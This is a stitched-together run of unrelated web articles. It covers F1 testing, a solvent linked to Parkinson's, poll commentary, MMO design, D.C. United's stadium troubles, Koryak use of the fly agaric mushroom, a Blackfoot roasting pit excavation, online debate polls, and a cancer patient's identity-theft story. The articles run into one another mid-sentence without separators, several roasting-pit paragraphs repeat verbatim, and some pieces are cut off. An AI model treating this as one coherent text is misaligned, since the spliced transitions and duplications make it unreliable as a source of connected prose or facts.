teams will opt to give daily turns to their drivers in order to get to grip (pun intended) with the new car. Mercedes has Hamilton and Bottas take turns each day driving the day, one in the morning followed by the other in the day. The final day of testing will be run in wet weather conditions to test the new Pirelli intermediate and wet tires. As far as we know at the time of writing, this will be the line-up for the first week of testing: Team Feb. 27th Feb. 28th Mar. 1st Mar. 2nd Mercedes AMG Petronas HAM/BOT BOT/HAM HAM/BOT BOT/HAM Red Bull Racing RIC VES RIC VES Scuderia Ferrari VET RAI VET RAI Sahara Force India F1 PER OCO CEL (3rd) PER/OCO Williams Martini Racing MAS STR MAS STR McLaren Honda ALO VAN ALO VAN Scuderia Toro Rosso SAI KVY SAI KVY Haas F1 Team MAG MAG GRO GRO Renault HUL PAL HUL PAL Sauber F1 Team ERI GIO (3rd) ERI GIO (3rd) One thing is certain, though: Pascal Werhlein will not take part in this first week in testing, as he has still been sidelined by a back injury as a result from a crash during the Race of Champions event last January, he will be replaced by Ferrari junior Antonio Giovinazzi Can we draw conclusions from testing? Especially the first week of testing, it is important not to get too carried away by the results of each session. Yes, you can generally see who will be in the top-half and who will be in the bottom half of the chart by the end of the season, but the tests itself are notorious for teams not showing the true potential of their car to competitors. This is called sandbagging, and is mostly used by the top-tier teams – excluding Ferrari. Ferrari is notorious for playing up hopes by topping the testing charts each year, only to show disappointing results come the first race. On the other hand, privately held teams such as Williams, Sauber and Force India benefit from this sandbagging by the top-tier teams. They don’t use this tactic, in order to show competitive laptimes and possibly attracting sponsors who would jump at the opportunity to feature their logo on a front-running car. In order to show this, I have set up a spreadsheet for last year’s testing. Here are the results for each day in the first week; As you can see, both on best times and average best times, Mercedes came in 4th but eventually won both championships by a landslide. As you can see, Ferrari had both the fastest lap time, as they had the best aggregate over the four days. They were followed by Force India (eventually 4th) and Red Bull. Especially Sauber posted remarkable times for their eventual positioning in the WCC and WDC. The second week of testing showed Red Bull heavily sandbagging, while Williams had the fastest aggregate. Sauber were back where they belonged, yet Haas was still running below their potential. This one can be explained by Haas being a new outfit and them carefully building confidence with their car. If you take these results, and directly compare them to their eventual standing at the end of the season, you get the following data: If you take the best times from the first week and rank them against the WCC rank, you have a total difference of 26 between that ranking and the WCC, or an average difference of 2.4 spots per team. This number is 24 for the second week, but 20 if you combine the best times of both tests. A better measure, though, is the average best lap time taken from the first week of testing with a total discrepancy of 16 (average 1.5), which is the same number you get when you combine the averages of both weeks. Yet there is still a difference too big to reliably predict the season based on this data. Conclusions So, what is testing for then if it does not directly correlate to the eventual standings? Well, it is mainly for the teams to test their designs, as stated above. On the other hand, it is also for us fans to make wild and wishful predictions based on entirely unreliable data that essentially tells us nothing. After three months of nothing, this is a whole lot for us to enjoy, and enjoy we will. We will not be held back by any rational arguments telling us to curb our enthusiasm. No, ’tis the time for wild speculation, only to be disappointed once the season starts for real, on friday the 24th of March in Australia. Related Comments commentsAN industrial chemical once widely used in dry cleaning solutions, paints and adhesives has been linked to a six-fold increased risk of Parkinson's disease. AN industrial chemical once widely used in dry cleaning solutions, paints and adhesives has been linked to a six-fold increased risk of Parkinson's disease. Scientists made the connection after analysing data on 99 sets of twins. One twin in each pair had Parkinson's and the other did not. The US researchers studied information about the twins' lifetime exposures to six solvents previously associated with Parkinson's disease (PD) in the medical literature. A significant link was found with one, trichloroethylene (TCE). Exposure to the chemical produced a more than six-fold increased likelihood of developing Parkinson's. Dr Samuel Goldman, from the Parkinson's Institute in Sunnyvale, California, said: "Our study confirms that common environmental contaminants may increase the risk of developing PD, which has considerable public health implications." The findings are reported today in the journal Annals of Neurology. TCE is now largely banned around the world but continues to be used as a degreasing agent. The chemical is known to contaminate soil, groundwater and air. In the US, millions of pounds of TCE are still released into the environment each year. Symptoms of Parkinson's may occur up to 40 years after exposure to TCE, said the scientists. The disease affects motor nerves resulting in limb tremors, slowed movement and speech, and muscle rigidity. Dr Michelle Gardner, research development manager at the charity Parkinson's UK, said: "We still don't know exactly what causes Parkinson's. It's most likely to be a combination of genetic susceptibility and environmental factors. We already know that exposure to some chemicals including certain pesticides can slightly increase the risk of Parkinson's. "This study looks at historical occupational exposure to solvents in twin pairs where one of the twins has Parkinson's. It is the first study to show that the solvent TCE may be associated with an increased risk of developing Parkinson's. "It is important to highlight that many of the previous uses of this solvent have been discontinued for safety reasons over 30 years ago and that safety and protection in work places where strong chemicals such as this solvent are used has greatly improved in recent years. "Low levels of this solvent and other solvents are found in the environment from industrial and other emissions but this study only examined heavy exposure at work to the solvent. Further larger-scale studies on populations with more defined exposures are needed to confirm the link."I realize that at this point polls don’t matter too much, if at all. But they still interest me, because they’re the best evidence we’ve got about public opinion. They can also tell us something about trends, and the trend for Hillary right now appears to be down. The newest national poll is from Fox, based on phone interviews that were conducted from Jan 4-7 and featuring 1006 registered voters, the vast majority of whom said they intend to vote. For Republican respondents the margin of error was 5%, which is rather large. For the entire survey, the margin of error was 3%, which is more typical but still worthy of note when the figures are close. It’s very interesting to see what’s happening with the projected head-to-head battles of some of the Republican leaders against Hillary Clinton. Mostly the results seem to preserve the patterns each candidate has already established for quite some time, with Rubio doing the best of all (a +9 lead, more than he’s had before). Cruz is next with a +7 lead (also bigger than he had before), and Trump has a +3 lead. As usual in national polls, Trump is doing worse against Hillary than the other two, but I believe this is the first time he’s ever led Hillary, so that’s a change for the better for Trump. Unfortunately the pollsters didn’t ask about Christie (although Christie has led Hillary in earlier national polls), nor did they ask about Carson (same). So, why was there a question about Jeb Bush? At any rate, Bush is doing the worst of those the pollsters did ask about: he’s tied with Hillary. Does this poll represent a real improvement of the prospects of the Republican field vis-a-vis Hillary? I don’t know. It could be an outlier, or the phenomenon could be real. It will be very very interesting to see if these anti-Hillary trends persist over time, and if they grow. [Neo-neocon is a writer with degrees in law and family therapy, who blogs at neo-neocon.]If you happen to stumble upon any forum or discussion board related to MMOs, it’s likely that you’ll find a wide array of players unhappy with one aspect or another. Since the introduction of World of Warcraft, the way that MMOs are looked at by both players and developers has changed drastically. There was a paradigm shift from studios venturing into new territory, and trying to be creative, to understanding the potential cash value of the genre. Furthermore, as the genre evolved, players were given access to new, exciting gameplay mechanics. However, as more pressure has been put on developers to recreate the success of the most popular MMORPGs of old, there have been a number of implementations that have degraded the genre over the last decade. The problem with current MMO design is a massive concept to tackle, and everyone has their own opinions, but I’d like to discuss some fundamental flaws in current generation MMO design. This also doesn’t mean that a game with or without any of these aspects would necessarily be good or bad. These are simply tools that developers tend to include that can hinder or enhance a gameplay experience, depending on how they are used. Convenience Tools Some of the most immersion-breaking mechanics that exist in MMOs come in the form of convenience tools. I’m talking about dungeon finders, battlegrounds, cross-realm matchmaking, and the auction house to name a few. A large portion of the MMORPG population exists simply to form groups and build a community. Players like to meet friends, go on adventures, and take on challenging content. However, it becomes increasingly difficult to forge a community when it’s more convenient not to. Those who played older MMORPGS, and other community-based online
D.C., and they’ve got to move to another facility in the region, I will be supportive of that, and in fact will help them do that,” Garber said. “If it means they can’t find a solution in Baltimore, then we’ll have to go through a process as we did with San Jose [which relocated to Houston in 2006] to think about potentially moving the team.” United owner Will Chang, who is based in the San Francisco area, said he didn’t want to comment. Since taking full control of United 2 1 / 2 years ago, Chang has been seeking local partners to bolster the club’s financial situation and stadium outlook. “I don’t think he’s very happy about what this is costing him,” Payne said of Chang in a recent interview. “When I say things like ‘the current deal at RFK is unsustainable as a business,’ at the end of the business is a person who is writing big checks. There is a point at which he’s not going to write those checks.” Payne, who has overseen the stadium initiative on Chang’s behalf, referred questions about Garber’s comments to his communications office. Spokesman Doug Hicks said the club had no further comment. Garber expressed frustration about the lack of progress on the stadium front, saying: “We have started and stopped a half a dozen times over the last number of years, and at this point, it’s very clear to me there is a traffic jam taking place in your city that probably rivals some of the other traffic jams that take place in your city. It’s been frustrating to get a green light on any road whatsoever that will lead us down a path to have a stadium.” EventsDC declined to comment on United’s lease and the club’s future in the city.Editor’s Note: Amanita muscaria, AKA the fly agaric mushroom, has made a couple of appearances on this blog to date, in large part because it’s one of the most recognizable mushrooms in the world and has a loyal following among mushroom fanatics who like to snap photographs of these exceptionally beautiful fungi. Furthermore, it is the focus of several ethnomycological studies, and some authors have opined that it was used spiritually by the Aryans in ancient India, as well as possibly the Greeks and pre-Christian fertility cults. Much of the scholarship related to ancient mushroom use (magic and otherwise) has escaped the attention of mainstream historians and anthropologists, but that may be changing. The fact that the Red Lady of el Miron, an upper Paleolithic woman who lived nearly 19,000 years ago in the northern reaches of the Iberian Peninsula, ate mushrooms has drawn out questions about mushrooms’ importance in ancient times, and Mesoamerican use of psychoactive mushrooms in the Psilocybe genus is well-documented fact. Although some theories about magic mushroom use in the ancient world have never been substantiated, one thing is clear: Koryak tribesmen in Siberia had a special relationship with the psychoactive mushroom Amanita muscaria, and this discovery shocked scholars and explorers who traveled to Siberia in the 18th century. Read onward for a tale of mushroom-munching reindeer, wry and witty caterpillars, and Koryak shamans that (hopefully) will amuse you. Yours In Fungal Fancy, Mushroom Anna The Koryak and Amanita muscaria Before the advent of vodka, the steppes of ancient Siberia rang with the riotous laughter of mushroom-addled tribesmen who ate the intoxicating fly agaric (Amanita muscaria) to alleviate the boredom of endless cold nights and to foretell the future. The fly agaric is probably the most common mushroom image shared in the human imagination. Amanita muscaria is an inebriating mushroom that was consumed spiritually and recreationally in Siberia since ancient times. The best documentation of its use regards the Koryak, a tribal group from the Kamchatka Peninsula on the coast of the Bering Sea. Koryak folklore venerates Amanita muscaria as a sacred gift from Big Raven, the first shaman and the progenitor of the human race. Big Raven first discovered the magic of Amanita muscaria when he captured a whale and wished to put it back in the sea. Sadly, even a culture hero as powerful as Big Raven was unable to lift the animal, and he plead for help from the omnipotent deity Vihiyinin (Existence). Vihiynin created the fly agaric by spitting on the land, and the flecks of his spit formed into white plants with little red hats. Big Raven consumed the mushrooms, whereupon he found the strength to return the captive whale to the sea. Big Raven was so impressed by the fly agaric’s ability to enhance his might that he commanded the mushroom, which the tribesmen called wapaq, to grow in perpetuity for the benefit and use of humans. Amanita muscaria, A Snapshot of a Trippy and Dangerous Species Amanita muscaria’s fruit has a bright red cap adorned with white patches of fuzzy fungal tissue. Snowy white gills and a creamy skirt on the stalk complete the package, making it the well-dressed, leggy redhead of the mushroom world. It’s the Alice in Wonderland mushroom, the Super Mario Brothers mushroom. Its likeness shows up on multitudinous posters, mugs, and assorted kitsch from the 1950s and 60s, and ceramic reproductions of this mushroom provide shade to countless lawn gnomes. Unbeknownst to housewives and video gamers, the real fly agaric is packed with psychoactive chemicals, specifically ibotenic acid and muscimol, two compounds that perform bizarre feats of neurological contortionism on the human brain. Unlike mushrooms that contain psilocybin and psilocin—the two compounds that make classic “magic mushrooms” psychoactive—the fly agaric is not illegal in the United States, perhaps because it’s not exactly known for being pleasant, Koryak folktales notwithstanding. Eating Amanita muscaria (as well as several related species, including Amanita Gemmata—the gemmed amanita, and Amanita Pantherina—the panther amanita) causes one to collapse into a deep sleep for a brief time, and then arise a different person. Mycophiles and thrill-seekers that sample Amanita muscaria or one of its psychoactive cousins experience it differently, and in some cases these experiments have turned dangerous or fatal. There have been few deaths associated with Amanita muscaria, Amanita pantherina, and Amanita gemmata in the United States, but physicians have observed that some people exposed to the compounds in these mushrooms sometimes have seizures and other profoundly negative effects, especially when the mushroom poisoning victim is a child. Mushroom groupies believe that Alice’s “one side larger, one side smaller” conversation with the Caterpillar is a reference to the subjective experience of tripping on Amanita muscaria. Further, the fact that Mario doubles in size when he captures a red and white polka-dotted mushroom is similarly suspicious to the mycocentric mind. I have spoken with several people who have either intentionally or accidentally consumed psychoactive Amanita muscaria, and each one had a different story to tell me. Some say it’s like being mildly drunk, others describe complete obliteration of the self and terrifying out-of-body experiences, others report seizure-like muscle contractions, and still others say it doesn’t do anything but give rise to a headache. Some say it’s scrumptious boiled in saltwater then fried. The fact of the matter is that Amanita muscaria’s potency varies tremendously from specimen to specimen, and even the most mycologically inclined advise against giving them a go. The Koryak Crash Into Western Consciousness As for the Koryak, they thought of Amanita muscaria as both a recreational and spiritual substance and would consume it in order to experience euphoric and psychoactive effects. After eating the mushrooms, a tribesman would fall asleep for a time and then awaken filled with awe. For a number of hours afterwards, the Koryak mushroom-celebrant enjoyed boundless energy for physical activity, was filled with a sense of hilarity and well being, and felt as though he had grown to the size of a giant. The perceptive change this mushroom induces essentially makes the user feel like Paul Bunyon on his day off—gigantic, powerful, and mighty ready for a long hike. In 1730, a Swedish colonel named Filip Johann von Strahlenberg debuted a book that detailed the shroom-munching habits of the Koryak. The Koryak tribesmen stunned Strahlenberg with a few facts about the mushroom that earlier writers had hitherto omitted. The mushroom doesn’t just go into the belly and fritter away its psychoactive punch in one go, oh no. Some of the mad-making properties of the mushroom remain after the user has finished feeling ‘shroom-inspired puissance and end up in his or her urine. This fact was important for a of couple reasons; the Koryak discovered eons ago that reindeer also love the flavor of fly agaric. Mushroom hunters were cautious when collecting these special fungi, because maddened reindeer had a tendency to charge into the midst of the Amanita muscaria patch, eager for their share. Even greater cause for concern, reindeer were so fond of Amanita muscaria that if one smelled the residual whiff of them in a man’s urine, the critter was bound to come crashing through whatever barriers to get a taste. A second revelation was not cautionary, but nonetheless disturbed Strahlenberg and his readers. During the summer months, Siberia’s peaks and slopes were covered in fly agarics, and Koryak who could afford it collected and dried as many mushrooms as possible for the coming winter. Poor men without a good supply of the mushrooms resorted to dire measures to get an Amanita muscaria high—by drinking tumblers full of muscaria-infused urine. Pee drinking was a relatively common practice amongst impoverished Koryak, much to the dismay and confusion of scholars who studied them. When it became known that imbibing urine was one way to get a secondary high off the fly agaric it cleared up some of the bafflement, and simultaneously illustrated how the Koryak loved the mushroom enough to overcome a significant ick factor. Later Revelations About the Koryak Relationship With Amanita muscaria As with so many topics in mycology, especially those related to psychoactive mushrooms, the relationship between Amanita muscaria and the Koryak has not been studied terribly extensively, and it is often addressed fleetingly in books that are available and accessible to those who are just getting started with mushroom hunting and identification. However, in 2005, Gary Lincoff published an article and gave a talk about his experience traveling to Siberia to explore this ethnomycological connection with a group of other mushroom-appreciators from the United States. The interesting thing about the presentation notes, from my perspective, is the fact that it draws bright lines around what makes the Koryak special when measured up against the Russian people who live in this remote part of the world. For the Russians, mushrooms are special, and the pursuit of hunting for edible mushrooms is one of the cornerstones of Russian society. However, in general, the Russians do not have an interest in Amanita muscaria, and their texts and folk wisdom strongly advises against collecting and consuming the mushroom due to its reputation for being toxic. The Koryak, by contrast, seem to have incorporated this mushroom into their folk traditions and mythical pursuits in a way that stands in stark contrast to the Russian mindset vis a vis Amanita muscaria. Although it’s not entirely clear to me when and, more importantly, why the Koryak initially started to experiment with this psychoactive fungus, one thing is obvious: its use is one of the things that makes the Koryak culture distinct and special in relation to its neighbors’ mycological traditions.Quinton CrowShoe and Conrad Little Leaf Earth oven aka roasting pit illustrated The site was home to tribal gatherings by Aboriginal people of the Northern Plains for 6000 years or more, and includes a wealth of artifacts as a result, but never before has a complete roasting pit containing a complete uneaten meal been found. Several signs of other roasting pits could be seen around the edges of the excavation, and a small archaeological team of 3 conducted one more investigation of the hole after the roasting pit was removed before filling it in again. Robert Dawe and Darren Tanke Head-Smashed-In-Buffalo Jump (estipah-skikikini-kots in Blackfoot) was designated as a World Heritage site by UNESCO’s World Heritage Committee in 1981. According to Unesco, "Head-Smashed-In Buffalo Jump is one of the oldest, most extensive, and best preserved sites that illustrate communal hunting techniques and the way of life of Plains people who, for more than five millennia, subsisted on the vast herds of bison that existed in North America." The Head Smashed In Buffalo Jump Interpretive Centre was opened in 1987. It is a significant facility, but is not a museum, and doesn't have the necessary climate controls and other criteria necessary to properly store and display artifacts of this complexity and potential fragility, according to Royal Alberta Museum Inventory Curator Robert Dawe. Dawe discovered the roasting pit in 1990 at the end of a four year excavation project adjacent to its location. Layers of history seen at edges of dig "I really didn't know what I had, at first," said Dawe. At that time they found a dog paw and the leg bones of a bison calf still in their anatomical positions. The jump area meant that the bodies were by the cliffs, and the clearing was a good place to process the food. Some of those processes included drying meat for storage and transportability, and making pemmican with a mixture of dried meat, berries, and fats. "By and large what we're looking at is the processing and the celebration of a successful buffalo hunt." "To get down to that object, we had go through 1600 years of history." Some of the items found at Head Smashed In over the years include roasting pit stones, bones, discarded tools and weapons, evidence of tools being fixed or made, children's toys, beads, and ornaments. "By and large it is mostly debris from pemmican making." According to Dawe, once the encased roasting pit is at the Royal Alberta Museum the protective coating will be carefully removed, and then over the course of several months the roasting pit will be delicately excavated in full and properly preserved. "This thing hasn't seen the light of day since 1,600 years ago. Nobody has seen the contents of this meal since it was prepared for a delicious feast. For some reason, the people never came back and opened up this object." Dawe said they do not know what is in the roasting pit. "It hasn't been fully excavated, yet. As soon as we know what we had, we covered it back over, and protected it." He added "We have never found anything like this before. We have found other roasting pits, but never with everything left in place." "Every bone has to be kept in anatomical position, and in place." "To be able to have the aide of the Royal Tyrrell Museum of Paleontology, having them send Darren Tanke (Royal Tyrrell Museum Canadian fossil preparation Senior Technician Darren Tanke) here, to help plaster jacket this and preserve it, it's a first, as far as we know, for Canada. To have this kind of a collaboration to preserve an archaeological specimen." "It's a one of a kind thing." "Sometimes we forget that these are people and they were out here trying to make a living, and their concerns are to eat, and take care of their family, just like ours are." Dawe said approximately 50 people have been involved with the excavation project, in many different roles. Crane Operator Sean Hanson said he has moved large and delicate items before, but nothing like this. He was visibly moved when talking about the historical significance of his precious cargo. Hanson said, "I feel pretty lucky, to be in on this." For the record, so did these two reporters. Royal Tyrrell Museum Canadian fossil preparation Senior Technician Darren Tanke was brought in on the project to help stabilize the entire find as a single unit and prepare it for transport, protecting layers of the pit within a plaster case. "I was very nervous about this project," said Tanke, explaining he is used to preparing specimens for travel in plaster, but this project offered a special challenge. Dawe requested the entire roasting pit be encased before anything was moved. Tanke said that usually artifacts he works with are stabilized, and then plaster is applied to approximately 80% of the mass, including the whole top, the sides, and some of the underside. Then the artifact is carefully moved and the bottom is then encased. The process involves carefully protecting the entire unit with tinfoil and making sure all the seams are made water tight, after which it is coated in fiberglass-reinforced gypsum. For this project the artifact was physically undercut and stabilized with wooden blocks when the top and sides were plastered so the encasing could be achieved without moving the specimen until it was totally enveloped. After it was on the truck Tanke said "I am very relieved." He said this was the largest specimen he has ever encased 100% in place. Royal Tyrrell Museum Canadian fossil preparation Senior Technician Darren Tanke was brought in on the project to help stabilize the entire find as a single unit and prepare it for transport, protecting layers of the pit within a plaster case. "I was very nervous about this project," said Tanke, explaining he is used to preparing specimens for travel in plaster, but this project offered a special challenge. Dawe requested the entire roasting pit be encased before anything was moved. Tanke said that usually artifacts he works with are stabilized, and then plaster is applied to approximately 80% of the mass, including the whole top, the sides, and some of the underside. Then the artifact is carefully moved and the bottom is then encased. The process involves carefully protecting the entire unit with tinfoil and making sure all the seams are made water tight, after which it is coated in fiberglass-reinforced gypsum. For this project the artifact was physically undercut and stabilized with wooden blocks when the top and sides were plastered so the encasing could be achieved without moving the specimen until it was totally enveloped. After it was on the truck Tanke said "I am very relieved." He said this was the largest specimen he has ever encased 100% in place. University of Lethbridge Associate Professor of Archeology Shawn Bubel Robert Dawe explained the basic of a buffalo jump event. "You would need hundreds of buffalo to make it work, and hundreds of people to orchestrate this thing." He explained a buffalo can run faster than a horse, are very agile for their size, and gregarious in temperament. If it was only a few buffalo involved, they would not get so crowded or confused as to be chased over the edge of a cliff. A jump would require a large number of the buffalo, who could be panicked and stampeded over the cliffs. For the indigenous people it was a dangerous procedure of herding wild and wary animals. "The whole way this thing works is you have the mass of buffalo pushing them, all the time." This mass blocks the view of those buffalo behind, and the momentum of those animals behind forces the one further forward to keep proceeding forward, even if they realize they shouldn't. Robert Dawe explained the basic of a buffalo jump event. "You would need hundreds of buffalo to make it work, and hundreds of people to orchestrate this thing." He explained a buffalo can run faster than a horse, are very agile for their size, and gregarious in temperament. If it was only a few buffalo involved, they would not get so crowded or confused as to be chased over the edge of a cliff. A jump would require a large number of the buffalo, who could be panicked and stampeded over the cliffs. For the indigenous people it was a dangerous procedure of herding wild and wary animals. "The whole way this thing works is you have the mass of buffalo pushing them, all the time." This mass blocks the view of those buffalo behind, and the momentum of those animals behind forces the one further forward to keep proceeding forward, even if they realize they shouldn't. "If you get 50 yards away from the edge of the cliff, and you look this way, (east) even though you know that cliff is there, you cannot see it. It is like an optical illusion, it looks like continuous prairie. If you are a buffalo, and you are running scared, and there's a bunch of guys behind you, and it's all dusty, and you have poor eyesight to begin with, you would not see that cliff until it was way too late." "If you get 50 yards away from the edge of the cliff, and you look this way, (east) even though you know that cliff is there, you cannot see it. It is like an optical illusion, it looks like continuous prairie. If you are a buffalo, and you are running scared, and there's a bunch of guys behind you, and it's all dusty, and you have poor eyesight to begin with, you would not see that cliff until it was way too late." Some of the practices during a buffalo jump included making funneling laneways with brush to narrow the passage of the animals, using smoke and the scent of carnivores to help herd the animals away from areas and keep them confused, and using the scent of a younger buffalo to create a pathway for the cows to follow. The The Head Smashed In Buffalo Jump Interpretive Centre, which is located just north and west of Fort Macleod, and also just north of Piikani Nation, has a special theatre that shows a polished movie made using local Blackfoot talent that demonstrates the mechanics of a buffalo jump, and the value to the community that surrounded such an event. If you visit the centre, it's well worth taking the time to see it. T.Lucas/C. Davis above photos/video Update Oct. 8, 2015 Several people at Tuesday's event expressed the hope that one day the roasting pit will be repatriated to the Head Smashed In site, perhaps after proper storage facilities for it are in place. A Blackfoot roasting pit carbon dated to approximately 1600 years ago has been excavated from a site at the base of Head Smashed In Buffalo Jump, to be transported to the Royal Alberta Museum's new home in Edmonton, where it will be fully excavated before becoming part of a permanent exhibit of Alberta First Nations artifacts. The pit, carefully encased in a plaster jacket to enable its extraction, is completely intact and includes a prepared meal that was left uneaten.The artifact (which is really a number of artifacts) was hoisted from its original location on Tuesday October 4, after a ceremony that began with a prayer from Piikani elder Conrad Little Leaf which included a traditional ceremonial offering of tobacco by the small group present for the event. The prayer, conducted in the Blackfoot language, included blessings for the archaeologists and the crew responsible for moving the artifact. The dirt that was removed during the excavation was placed in several piles to enable it to be placed back in the hole in the same layers as it was removed.Following Little Leaf's prayer, Head Smashed In's Marketing and Special Events Coordinator Quinton CrowShoe (“Kainaikoan”) commented about the blessings, prayers, smudging, and the ceremonial painting of those who worked on the project. "This is our ancestors', it is a sacred thing, and it really shouldn't be moved, but that decision has already been made, so we really wanted to take care of everybody who worked here, through our prayers."Two major news organizations were quick to say their online polls conducted after the first presidential debate between Hillary Clinton and Donald Trump are not scientific. But both surveys found that Donald Trump was perceived as the winner by respondents. “The presidential debate is over and both candidates have made their case to the American voter. We heard their positions on homeland security, the economy and the future direction of the country. Now it’s your turn to tell us who the big winner was,” CNBC asked in their poll. A current total of 960,300 people voted. The results: 67 percent said Mr. Trump won the bout, 33 percent voted for Mrs. Clinton. “Hillary Clinton and Donald Trump faced off at their first presidential debate Monday. Who do you think won?” asked Time in their version. Over 1.6 million people responded. The results: 55 percent sided with Mr. Trump, 45 percent with Mrs. Clinton. An online poll from The Washington Times and another from the Drudge Report also found that Mr. Trump was the victor. There were many more, however. A Daily Mail analysis of 19 instant “snap” polls conducted online found that Mr. Trump won 17 of them “by a landslide”, the British news organization said. “Online reader polls like this one are not statistically representative of likely voters, and are not predictive of the debate outcome will effect the election. They are a measure, however imprecise, of which candidates have the most energized online supporters, or most social media savvy fan base,” Time magazine explained in its survey. “Many in the media will probably declare Clinton the winner of last night’s first debate, but many voters will suspect that those articles were written long in advance and tune them out. The polls should tell us very quickly who the winner really is,” writes Fran Coombs, managing editor of Rasmussen Reports surveys, which will reveal their findings about the debate and its after-effects on Thursday. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The tipster, it turned out, was a dead end—just a well-meaning citizen with the wrong information. Drew was ready to pack it in when the local TV station contacted a Lowe’s store, spurring the retailer to check its surveillance videos. With the help of Drew’s records, they pinpointed a purchase to a specific time and date, and the TV station put the grainy footage on the news for everyone in town to see. As Drew lay in bed watching the video, he couldn’t believe his eyes. There was the fake Eric Drew, a middle-aged African American man in hospital scrubs. His name was Richard Gibson, a lab technician at the Seattle Cancer Care Alliance who had tested Drew’s blood. Drew was indignant. This guy had taken him for dead and took him to the cleaners. He was told by attorneys that he could have sued the hospital for millions, but now he just wanted justice. Four days later he got it. On March 2, 2004, Gibson turned himself in and became the first person in the country to be convicted for violating the Health Insurance Portability and Accountability Act, which protects patient privacy. Gibson was later sentenced to 16 months in prison and ordered to pay more than $9,000 in restitution. Drew had fought to get back his good name and won. Now he was ready to reclaim his life. Drew did not have long to celebrate his victory over Gibson. By the end of March, the necessary three months had passed since his bone marrow transplant—and it was time to get the results. It wasn’t good news. Alexa’s stem cells, Drew learned, had failed to fully engraft. “There’s nothing else we can do,” his doctors told him. “We can arrange for hospice care.” By now, Drew was numb—how much more could his emotions be stretched? Despite the grim prognosis, the Hutchinson center offered to do a second transplant using his half brother Michael’s bone marrow. He was planning to do it, but the strain was making itself felt. He took a trip to California to reconnect with Nicole, who had just graduated from college. As he sat with her in her apartment in Chico, she teased him. “You haven’t given me a graduation present,” she said. “OK,” he said, reaching into his pocket. “Here it is.” He handed her an engagement ring. Nicole was surprised, and afraid—afraid to take it seriously, because that would mean she had opened her heart and soul to him. She had been through the death of her mother from cancer and couldn’t bear to lose someone again. She loved him; she just didn’t want him taken from her. When she said yes to his proposal, she did it as much to give him hope. She had also given him something else: a lead on a cure. A year earlier, after some sleuthing on ClinicalTrials.gov, the government site that keeps tabs on experimental cancer treatments, Nicole had stumbled on an article about an alternative source of stem cells: umbilical cord blood. Initially they had written this treatment off and chosen to move ahead with the marrow transplant. But now they were willing to take a second look and sought out the advice of a specialist, Tibor Kovacsovics, an associate professor of medicine at the Oregon Health and Science University Cancer Institute. Because of the political controversies over embryonic stem cells, information about cord blood stem cells had been unclear. But this was a noncontroversial source, Drew learned. Donations came from around the world, either from people giving cord blood to public banks or through private services that bank families’ blood. Since the mid-1990s, facilities such as the University of Minnesota’s had been performing cord blood transplants because of an implicit benefit. “Umbilical cord blood contains an enriched population of bone marrow stem cells,” says Daniel Weisdorf, director of the Adult Blood and Marrow Transplant Program at the university. “There are large numbers of bone marrow–like stem cells with huge growth potential.” But there was a hitch. Researchers found that the tiny amount of stem cells harvested from one cord blood source was not enough to serve a full-grown adult. So beginning in 2000, the University of Minnesota began a new approach: using stem cells from two umbilical cord blood sources, which increased the chances of engraftment in adults to 90 percent. Drew’s doctors in Seattle had nothing to say when he asked them about the procedure; it wasn’t something they performed. Drew was incensed that he would not have even known about this option if Nicole had not gone online, but by now he understood that the fight for survival begins and ends with the patient. So he called Minnesota and made the plan. There would be risks, of course. Once again Drew’s immune system would have to be eradicated—this time with six times the radiation and more chemo. There was a 50 percent chance that he wouldn’t survive that alone. In all, his odds of survival were about 25 percent, but this was his last hope. Drew took Nicole on the long drive to the University of Minnesota and checked into the hospital. He had a treadmill brought into his room and walked on it for a few days. But his strength didn’t last long. Doctors began wiping out his immune system again with a blast of 1,320 centigrays of gamma radiation 20 minutes twice a day for four days. On July 23, 2004, Drew was infused with the stem cells from two sources—a newborn girl in Italy and a baby in Ohio. Hopefully, one would take. But that was just the beginning. Between the cumulative effects of the radiation and chemo and his body’s reaction to the new stem cells, the physical effects were gruesome. His skin began peeling off like strips of bacon. His body was on fire. His temperature hit 106.8 at one point, and he had to be packed in ice. Blood was coming out of his eyes and ears. Inside his body, his intestinal lining was falling apart. He had severe diarrhea filled with blood. “It’s OK, you can die,” said Drew's mother. “No, I’m not ready,” he said. “I’m going to keep fighting.” To survive, Drew demanded near-lethal doses of morphine. And he called on every reserve he had—yoga, controlled breathing. When he didn’t have the strength to walk on his treadmill, they came to take it away, but he refused to let them. “No,” he said, “I’ll get back on it.” Drew focused on his dreams of being healthy and alive. Before long his sense of reality began to shift, so that he felt more in touch with his sleeping state than with being awake. He slipped into psychoses and hallucinations. A few times, he ripped the cords from his body and tried to escape the hospital. When he looked up at the caretakers around his bed, they appeared to him as angels. At one point his mom, Cindy, couldn’t take seeing him in so much pain. She wanted him to know that he didn’t have to do this for her or for anyone else. “If you’re hanging on for me or my husband or whomever, it’s OK,” she said, “but you don’t have to do this for us.” And, painfully, she added, “It’s OK, you can die.” Drew took her hand. “No, I’m not ready,” he said. “I’m going to keep fighting.” But all he could really do was wait to see whether the stem cells would take hold. By November 2004, although his condition was still critical, Drew decided to go home for Thanksgiving. Six months later he went for a bone marrow biopsy from his hematologist. This was the moment of truth. When the call came with the results, he could barely hold on to the phone. He was in his parents’ house with Nicole. “Just to let you know,” the doctor said, “you’re 100 percent in remission.” The engraftment had worked. A wave of relief washed over Drew as he hugged his family. There was more, the doctor said. Drew wasn’t just a new man. “Your blood is 100 percent female,” he said. Eric Drew, now a 37-year-old man, had the blood of an Italian girl. It was like something out of a Tom Clancy thriller. If he cut his finger while committing a crime, investigators would think that the criminal was a girl. Drew had fought for his life and won. Like millions of people every year, he had had numerous reasons along the way to give up—but he refused. In retrospect, his mother thinks the experience of the identity theft may have saved her son. “He would thank Richard Gibson for taking his identity,” she says. “It gave him something to fight for and reenergized him after that.” Alexa also credits Drew’s tenacity for his recovery. “He’s a pain in the ass sometimes,” she says, “but I think his personality probably saved his life.” In 2006, Drew cleared his credit that had been damaged by the identity theft and reached another key turning point, too: two years without a recurrence of his leukemia, a milestone, the doctors say, because the chances of recurrence drop radically after 24 months. Today Drew walks with crutches (he is mostly in a wheelchair) and has joint pain related to his transplant. But he is carrying on with his life. He travels the country speaking about the benefits of cord blood transplants. He filed a lawsuit in December 2006 against the credit reporting agencies and several credit card companies, which resulted in a recent settlement with one agency that included concessions making it easier for patients to fight identity theft while they are hospitalized. He is also planning his wedding with Nicole, which will take place on the shores of Lake Tahoe this August. “It’s a fairy-tale ending that started out as a nightmare,” Nicole says. And, ultimately, Drew hopes, it’s a lesson that anyone who faces a life-threatening challenge can take to heart. “It’s about personal 